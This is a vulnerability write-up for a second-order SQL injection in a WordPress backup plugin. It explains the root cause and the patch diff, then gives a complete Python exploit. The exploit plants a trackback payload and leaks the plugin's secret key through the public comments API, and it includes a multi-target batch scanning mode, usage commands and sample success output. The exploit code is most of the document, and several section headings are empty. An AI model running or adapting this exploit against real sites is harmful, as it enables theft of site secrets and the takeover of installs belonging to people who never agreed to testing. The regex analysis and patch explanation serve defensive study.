#Summary

CVE-2026-19949 is an unauthenticated second-order SQL injection in the All-in-One WP Migration and Backup WordPress plugin (versions <= 7.109) that fires during an administrator archive restore. A payload planted via trackback comment is rewritten into executable SQL when the site is exported and restored, disclosing the ai1wm_secret_key option to any anonymous reader through the public REST API. This secret is the only guard on the plugin's unauthenticated import endpoint, making the chain exploitable for remote code execution. Severity: CVSS 8.8 (HIGH).

#Am I affected?

#How to check

Check the plugin version in WordPress admin or the filesystem:

curl -s https://target.example/wp-content/plugins/all-in-one-wp-migration/all-in-one-wp-migration.php | grep "Version:" | head -1
Output Verdict
Version: 7.110 or later Patched
Version: 7.109 or earlier Vulnerable
File not found / plugin inactive Not vulnerable (plugin not installed)

#Fix and mitigation

#Root cause analysis

#The vulnerable regex

During an archive restore, the plugin reads the archive's database.sql line by line and rewrites embedded string literals to swap the old site URL and table prefix for the new ones. It locates quoted strings with a regular expression:

$input = preg_replace_callback( "/'(.*?)(?<!\\\\)'/S", array( $this, 'replace_table_values_callback' ), $input );

The regex is intended to match ', then the shortest run of characters, then a closing ' that is not escaped. The bug is the negative lookbehind (?<!\\) - it inspects only a single byte before the closing quote instead of counting the whole run of preceding backslashes.

#Why the boundary flips

In a MySQL dump, a data value that ends in a backslash is emitted as ...\\' - a closing quote preceded by an even number of backslashes (a real, terminated string that happens to end in one backslash). The one-byte lookbehind sees the immediately preceding \ and wrongly concludes the quote is escaped, so it does not stop there and over-captures into the following column value(s):

// Vulnerable line from database dump: comment_author='zz\\' (even run of backslashes)
// Regex matches: '(zz\\',...rest of columns...)' <-- over-captured
// The closing quote of zz is not recognized; the match extends into the next columns

The callback then unescapes, replaces, and re-escapes the over-captured span:

protected function replace_table_values_callback( $matches ) {
    $matches[1] = Ai1wm_Database_Utility::unescape_mysql( $matches[1] );      // \\ -> \ , \' -> '
    if ( strlen( $matches[1] ) >= $this->get_old_replace_values_min_length() ) {
        $matches[1] = Ai1wm_Database_Utility::replace_serialized_values( $matches[1], ... );
    }
    $matches[1] = Ai1wm_Database_Utility::escape_mysql( $matches[1] );        // re-escape
    return "'" . $matches[1] . "'";
}

Because the span boundaries are already wrong, the unescape_mysql -> replace -> escape_mysql round trip collapses and re-adds backslash/quote runs with a different parity than the original. The re-emitted statement has an odd number of effective string delimiters where the dump had an even number: the MySQL string boundary is "flipped". From the flip point on, bytes the dump intended as string data are re-tokenised as SQL code (and vice versa):

$query = $this->replace_table_values( $query );
$this->query( $query );  // Flipped bytes execute as SQL

#How the payload reaches the sink

  1. Plant (unauthenticated). An attacker sends a trackback to any post with pings open:

    POST /wp-trackback.php?p=<id> with blog_name ending in \, url carrying SQL payload

    The values are stored as comment_author, comment_content, and comment_author_url without the escaping required to survive the boundary-flip re-write.

  2. Trigger (victim admin). An administrator exports and restores the site (a routine plugin operation). During the DB restore pass, replace_table_values() rewrites the planted line, the string boundary flips, and the planted bytes execute as SQL.

  3. Leak (unauthenticated). The injected SQL rewrites the planted comment's author_url to a subquery reading a chosen wp_options value (by default ai1wm_secret_key), sets it approved, and changes its type to comment. The value is then readable, without authentication, from GET /wp-json/wp/v2/comments.

#Patch diff

#What the fix does

Version 7.110 replaces the flawed regex with a correct MySQL string-literal tokeniser:

- $input = preg_replace_callback( "/'(.*?)(?<!\\\\)'/S", array( $this, 'replace_table_values_callback' ), $input );
+ $input = preg_replace_callback( "/'((?:[^'\\\\]++|\\\\.)*+)'/sS", array( $this, 'replace_table_values_callback' ), $input );

The new pattern (?:[^'\\]++|\\.)*+ matches, repeatedly and possessively, either a run of characters that are neither quote nor backslash, or a backslash-escape pair \x (any escaped character). This consumes a \\ pair as a single escaped unit, so an even run of backslashes before a ' can no longer be mistaken for an escape of that quote. The closing quote is identified correctly and the string boundary is never flipped.

The possessive quantifiers (++ and *+) also remove catastrophic-backtracking risk. Running the identical malicious dump line through the 7.110 code returns it unchanged.

#Proof of concept

#exploit.py - All-in-One WP Migration SQL Injection PoC

#!/usr/bin/env python3
"""
CVE-2026-19949 - All-in-One WP Migration and Backup: unauthenticated second-order SQL injection
Affected: All-in-One WP Migration and Backup (WordPress plugin) <= 7.109  (fixed in 7.110)
Type: SQL injection -> unauthenticated information disclosure (leaks the ai1wm_secret_key option)

Root cause:
  On archive restore the plugin rewrites embedded string literals with the regex
  /'(.*?)(?<!\\)'/S. The one-byte negative lookbehind only inspects a single character
  before a candidate closing quote instead of counting the whole run of backslashes, so a
  data value that ends in a backslash (dumped as an even run of backslashes) is mistaken for
  an escaped quote. The regex over-captures, the unescape/replace/escape round trip changes
  the backslash/quote parity, and the MySQL string boundary "flips": bytes that were stored
  as ordinary string data become executable SQL when the rewritten statement is run.

Delivery:
  The payload is planted unauthenticated as a trackback comment on any post that has pings
  open. The comment author ends in a backslash (the flip trigger) and the comment author URL
  carries the injected SQL. When a site administrator later performs a routine export and
  restore of the site, the planted line flips and the injected statement rewrites the planted
  comment into an approved comment of type 'comment' whose author URL is a subquery reading a
  chosen wp_options value. That value is then readable, without authentication, from
  GET /wp-json/wp/v2/comments.

Usage:
  python exploit.py --host 192.168.1.10
  python exploit.py --host https://target.example --option ai1wm_secret_key
  python exploit.py --host http://target.example:8080 --post-id 4 --timeout 300
  python exploit.py --list targets.txt --workers 20

Notes:
  - --option chooses which wp_options row to exfiltrate (default: ai1wm_secret_key). The SQL
    injection can read any single option value; this is the attacker-controlled variable, so
    it takes the place of a generic --payload for this structural (boundary-flip) injection.
  - The trigger is an administrator export+restore. This tool plants the payload and then
    polls the public comments endpoint for the leak. Run it, then leave it planted: the leak
    appears the first time an administrator restores the site. Increase --timeout to wait
    longer in one run, or simply re-run the tool later (it will detect an already-planted row
    and go straight to the leak check).
"""

import argparse
import json
import re
import ssl
import sys
import time
import secrets
import urllib.error
import urllib.parse
import urllib.request

CVE_ID    = "CVE-2026-19949"
VULN_TYPE = "SQLi"

# option_name of the row read by the injected subquery, hex-encoded at runtime.
DEFAULT_OPTION = "ai1wm_secret_key"

# ---------------------------------------------------------------------------
# Output helpers (standard format)
# ---------------------------------------------------------------------------

def header(host, port):
    print("\n" + "=" * 60)
    print("  ALIM EXPLOIT  %s" % CVE_ID)
    print("  Type: %s  |  Target: %s:%s" % (VULN_TYPE, host, port))
    print("=" * 60 + "\n")


def step(n, msg):
    print("[STEP %d] %s" % (n, msg))


def section(label, content):
    print("\n--- %s ---" % label)
    print(str(content).strip())
    print("---\n")


def done(success, evidence):
    print("\n" + "=" * 60)
    print("  RESULT  : %s" % ("SUCCESS" if success else "FAILURE"))
    print("  EVIDENCE: %s" % evidence)
    print("=" * 60 + "\n")
    sys.exit(0 if success else 1)


# ---------------------------------------------------------------------------
# HTTP (standard library only)
# ---------------------------------------------------------------------------

_UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36"


def _ctx():
    c = ssl.create_default_context()
    c.check_hostname = False
    c.verify_mode = ssl.CERT_NONE
    return c


def http_get(url, timeout=15):
    req = urllib.request.Request(url, headers={"User-Agent": _UA, "Accept": "*/*"})
    with urllib.request.urlopen(req, timeout=timeout, context=_ctx()) as r:
        return r.getcode(), r.read().decode("utf-8", "replace")


def http_post_form(url, fields, timeout=20):
    body = urllib.parse.urlencode(fields).encode("utf-8")
    req = urllib.request.Request(
        url,
        data=body,
        headers={"User-Agent": _UA, "Content-Type": "application/x-www-form-urlencoded"},
    )
    with urllib.request.urlopen(req, timeout=timeout, context=_ctx()) as r:
        return r.getcode(), r.read().decode("utf-8", "replace")


# ---------------------------------------------------------------------------
# Target parsing (fixed 4-tuple shape: host, port, use_tls, path)
# ---------------------------------------------------------------------------

def _parse_target(line, default_port, default_path="/"):
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urllib.parse.urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def _base_url(host, port, use_tls, path="/"):
    scheme = "https" if use_tls else "http"
    netloc = host
    if not ((use_tls and port == 443) or (not use_tls and port == 80)):
        netloc = "%s:%s" % (host, port)
    base = "%s://%s" % (scheme, netloc)
    if path and path != "/":
        base = base + path.rstrip("/")
    return base


# ---------------------------------------------------------------------------
# Payload construction
# ---------------------------------------------------------------------------

def _hexlit(s):
    return "0x" + s.encode("utf-8").hex()


def build_sql_payload(option_name):
    """
    Bytes that, after the restore boundary-flip, become bare SQL supplying the tail columns
    of the planted comment's INSERT tuple:

        comment_author_url  = (SELECT option_value FROM <prefix>_options WHERE option_name=<hex>)
        comment_approved    = 1
        comment_type        = 'comment'

    Leading /**/ keeps sanitize_url from prepending http:// (it would otherwise break the
    first tuple separator). Every string constant is a hex literal and every space is /**/,
    so the value survives sanitize_url unchanged. SERVMASK_PREFIX_ is the plugin's own table
    prefix placeholder; the importer rewrites it to the live prefix before the vulnerable
    regex runs, which makes the payload prefix-independent. A trailing # comments out the rest
    of the original statement.
    """
    opt_hex = _hexlit(option_name)                       # option_name to read
    type_hex = _hexlit("comment")                        # comment_type -> 'comment'
    subq = ("(SELECT/**/option_value/**/FROM/**/SERVMASK_PREFIX_options"
            "/**/WHERE/**/option_name=%s)" % opt_hex)
    # /**/ , email(0) , url(subquery) , IP(0) , date , date_gmt , content(0) , karma(0) ,
    # approved(1) , agent(0) , type('comment') , parent(0) , user_id(0) ) #
    payload = "/**/,0,%s,0,NOW(),NOW(),0,0,1,0,%s,0,0)#" % (subq, type_hex)
    return payload


# comment_author_url is VARCHAR(200); a longer value is silently truncated and breaks the SQL.
MAX_URL_LEN = 200


# ---------------------------------------------------------------------------
# WordPress helpers
# ---------------------------------------------------------------------------

def discover_home(base):
    """Return the site's canonical home URL (used so the restore replace filter matches our line)."""
    try:
        _, body = http_get(base + "/wp-json/", timeout=12)
        data = json.loads(body)
        for k in ("url", "home"):
            if isinstance(data.get(k), str) and data[k].startswith("http"):
                return data[k].rstrip("/")
    except Exception:
        pass
    return base.rstrip("/")


def discover_post(base):
    """Return (post_id, permalink_path) for a published post to trackback to."""
    try:
        _, body = http_get(base + "/wp-json/wp/v2/posts?per_page=20&status=publish", timeout=12)
        posts = json.loads(body)
        if isinstance(posts, list) and posts:
            p = posts[0]
            path = urllib.parse.urlparse(p.get("link", "")).path or None
            return int(p["id"]), path
    except Exception:
        pass
    return 1, None  # "Hello world!" default post, pings open on a default install


def fetch_comment_author_urls(base):
    """Return list of author_url strings from the public comments endpoint (approved comments)."""
    out = []
    try:
        _, body = http_get(base + "/wp-json/wp/v2/comments?per_page=100", timeout=12)
        data = json.loads(body)
        if isinstance(data, list):
            for c in data:
                out.append(c.get("author_url", ""))
    except Exception:
        pass
    return out


def looks_like_leak(author_url):
    """A leaked option value is a bare token, not a URL (normal author_url values are URLs)."""
    if not author_url:
        return False
    if "://" in author_url or author_url.startswith("/"):
        return False
    if author_url.strip() in ("", "0"):
        return False
    return bool(re.match(r"^[\x21-\x7e]{4,}$", author_url))


def plant(base, post_id, post_path, home_url, payload):
    """
    Plant the trackback. comment_author ends in a single backslash (the flip trigger);
    comment_content (built from the excerpt) carries the site home URL so the importer's
    replace branch fires; comment_author_url carries the SQL payload.

    The canonical trackback endpoint is <post-permalink>/trackback/, which resolves the post
    via the main query (so the handler accepts it). Fall back to the wp-trackback.php path-info
    form for sites whose permalink structure does not expose one.
    Returns (ok, message).
    """
    author = "c%s\\" % secrets.token_hex(2)   # neutral, per-run; ends in a backslash
    fields = {
        "title": "note-%s" % secrets.token_hex(3),
        "excerpt": "see %s/ for details" % home_url,
        "blog_name": author,
        "url": payload,
    }
    candidates = []
    if post_path:
        candidates.append(base + post_path.rstrip("/") + "/trackback/")
    candidates.append(base + "/wp-trackback.php/%d" % post_id)

    last = "no endpoint reached"
    for url in candidates:
        try:
            _, body = http_post_form(url, fields, timeout=20)
        except urllib.error.HTTPError as e:
            last = "HTTP %s at %s" % (e.code, url)
            continue
        except Exception as e:
            last = "%s at %s" % (e.__class__.__name__, url)
            continue
        low = body.lower()
        if "<error>0</error>" in low:
            return True, "trackback accepted (%s)" % url
        if "already a ping" in low:
            return True, "already planted (duplicate ping)"
        if "trackbacks are closed" in low:
            return False, "pings closed on post %d - try a different --post-id" % post_id
        if "duplicate comment" in low:
            return False, "throttled as duplicate - wait ~15s and retry"
        if "need an id" in low:
            last = "post not resolved at %s" % url
            continue
        m = re.search(r"<message>(.*?)</message>", body, re.S)
        last = m.group(1).strip() if m else body[:120]
    return False, "trackback rejected: %s" % last


# ---------------------------------------------------------------------------
# Core
# ---------------------------------------------------------------------------

def _run(base, option_name, post_id, timeout, poll_interval, quiet, leak_only=False):
    """Plant (unless leak_only) then poll for the leak. Returns (success, evidence)."""
    payload = build_sql_payload(option_name)
    if len(payload) > MAX_URL_LEN:
        return False, "option name too long (payload %d > %d bytes)" % (len(payload), MAX_URL_LEN)

    if not leak_only:
        home = discover_home(base)
        post_path = None
        if post_id is None:
            post_id, post_path = discover_post(base)
        else:
            try:
                _, body = http_get(base + "/wp-json/wp/v2/posts/%d" % post_id, timeout=12)
                post_path = urllib.parse.urlparse(json.loads(body).get("link", "")).path or None
            except Exception:
                post_path = None

        ok, msg = plant(base, post_id, post_path, home, payload)
        if not quiet:
            section("PLANT", "post_id=%d  home=%s\n%s" % (post_id, home, msg))
        if not ok:
            # A previous plant may already have been restored and leaked; check once before giving up.
            for au in fetch_comment_author_urls(base):
                if looks_like_leak(au):
                    return True, "leaked %s = %s" % (option_name, au)
            return False, "plant failed: %s" % msg
    elif not quiet:
        section("LEAK-ONLY", "skipping plant; polling the public comments endpoint for a leak")

    # The injected comment is an approved comment of type 'comment' whose author_url is a bare
    # token (the disclosed option value) rather than a URL. Normal author_url values are URLs
    # or empty, so any leak-looking author_url on the public endpoint is the disclosure. This
    # also detects a leak that fired on a restore between two runs of this tool.
    deadline = time.time() + max(0, timeout)
    first = True
    while True:
        for au in fetch_comment_author_urls(base):
            if looks_like_leak(au):
                return True, "leaked %s = %s" % (option_name, au)
        if time.time() >= deadline:
            break
        if not quiet and first:
            print("[STEP 3] waiting for an administrator restore to fire the injection ...")
            first = False
        time.sleep(poll_interval)

    if leak_only:
        return False, "no leak on the public comments endpoint (target not vulnerable, or not restored yet)"
    return False, ("payload planted; no leak yet (awaiting an administrator export+restore). "
                   "Re-run later, raise --timeout, or re-check with --leak-only.")


def exploit(base, option_name, post_id, timeout, poll_interval, leak_only=False):
    host = urllib.parse.urlparse(base).hostname or base
    port = urllib.parse.urlparse(base).port or (443 if base.startswith("https") else 80)
    header(host, port)
    if leak_only:
        step(1, "Polling public comments endpoint for a disclosed option (no plant) ...")
    else:
        step(1, "Fingerprinting target and planting trackback payload ...")
    step(2, "Payload targets wp_options row '%s' via the restore boundary-flip." % option_name)
    success, evidence = _run(base, option_name, post_id, timeout, poll_interval, quiet=False, leak_only=leak_only)
    if success:
        section("DISCLOSED OPTION VALUE (%s)" % option_name, evidence.split("= ", 1)[-1])
    else:
        section("STATUS", evidence)
    done(success, evidence)


def _try_exploit(host, port, use_tls, option_name=DEFAULT_OPTION, path="/", **kwargs):
    """Silent probe for --list scan mode. Never prints or exits."""
    base = _base_url(host, port, use_tls, path)
    try:
        return _run(base, option_name, None, timeout=8, poll_interval=4, quiet=True)
    except Exception as e:
        return False, "unreachable (%s)" % e.__class__.__name__


def scan(targets_file, default_port, workers=10, option_name=DEFAULT_OPTION):
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print("\n" + "=" * 60)
    print("  %s - Batch Scan  (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
    print("=" * 60 + "\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, path = t
        label = "%s://%s:%s" % ("https" if use_tls else "http", host, port)
        ok, evidence = _try_exploit(host, port, use_tls, option_name, path)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print("  %s %s - %s: %s" % ("[+]" if ok else "[-]", label,
                                        "Exploited" if ok else "Planted/Not vulnerable", evidence))
            if ok:
                success_count += 1

    total = len(targets)
    print("\n" + "=" * 60)
    print("  SCAN COMPLETE  %d exploited / %d pending-or-not-vulnerable  (%d total)"
          % (success_count, total - success_count, total))
    print("=" * 60 + "\n")
    sys.exit(0 if success_count > 0 else 1)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443/path)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
    parser.add_argument("--option", default=DEFAULT_OPTION,
                        help="wp_options option_name to exfiltrate (default: %s)" % DEFAULT_OPTION)
    parser.add_argument("--post-id", type=int, default=None,
                        help="Post ID to trackback to (default: auto-discover a published post)")
    parser.add_argument("--timeout", type=int, default=120,
                        help="Seconds to wait for an admin restore to fire the leak (default: 120)")
    parser.add_argument("--poll-interval", type=int, default=5,
                        help="Seconds between leak polls (default: 5)")
    parser.add_argument("--leak-only", action="store_true",
                        help="Do not plant; only poll the public comments endpoint for an already-fired leak")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers, option_name=args.option)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        base = _base_url(host, port, use_tls, path)
        exploit(base, args.option, args.post_id, args.timeout, args.poll_interval, args.leak_only)

#Usage

python exploit.py --host https://target.example
python exploit.py --host 203.0.113.10 --port 80
python exploit.py --host https://target.example --option siteurl
python exploit.py --host https://target.example --post-id 12 --timeout 600
python exploit.py --host https://target.example --leak-only
python exploit.py --list targets.txt --workers 20

Expected output on vulnerable target (7.109):

============================================================
  ALIM EXPLOIT  CVE-2026-19949
  Type: SQLi  |  Target: 127.0.0.1:8091
============================================================

[STEP 1] Fingerprinting target and planting trackback payload ...
[STEP 2] Payload targets wp_options row 'ai1wm_secret_key' via the restore boundary-flip.

--- PLANT ---
post_id=4  home=http://localhost:8091
trackback accepted (http://127.0.0.1:8091/welcome/trackback/)
---

--- DISCLOSED OPTION VALUE (ai1wm_secret_key) ---
nq68r9xIOMpt
---

============================================================
  RESULT  : SUCCESS
  EVIDENCE: leaked ai1wm_secret_key = nq68r9xIOMpt
============================================================

Expected output on patched target (7.110):

============================================================
  ALIM EXPLOIT  CVE-2026-19949
  Type: SQLi  |  Target: 127.0.0.1:8092
============================================================

[STEP 1] Polling public comments endpoint for a disclosed option (no plant) ...
[STEP 2] Payload targets wp_options row 'ai1wm_secret_key' via the restore boundary-flip.

--- LEAK-ONLY ---
skipping plant; polling the public comments endpoint for a leak
---

[STEP 3] waiting for an administrator restore to fire the injection ...

--- STATUS ---
no leak on the public comments endpoint (target not vulnerable, or not restored yet)
---

============================================================
  RESULT  : FAILURE
  EVIDENCE: no leak on the public comments endpoint (target not vulnerable, or not restored yet)
============================================================

Arguments:

#Exploitation notes

#References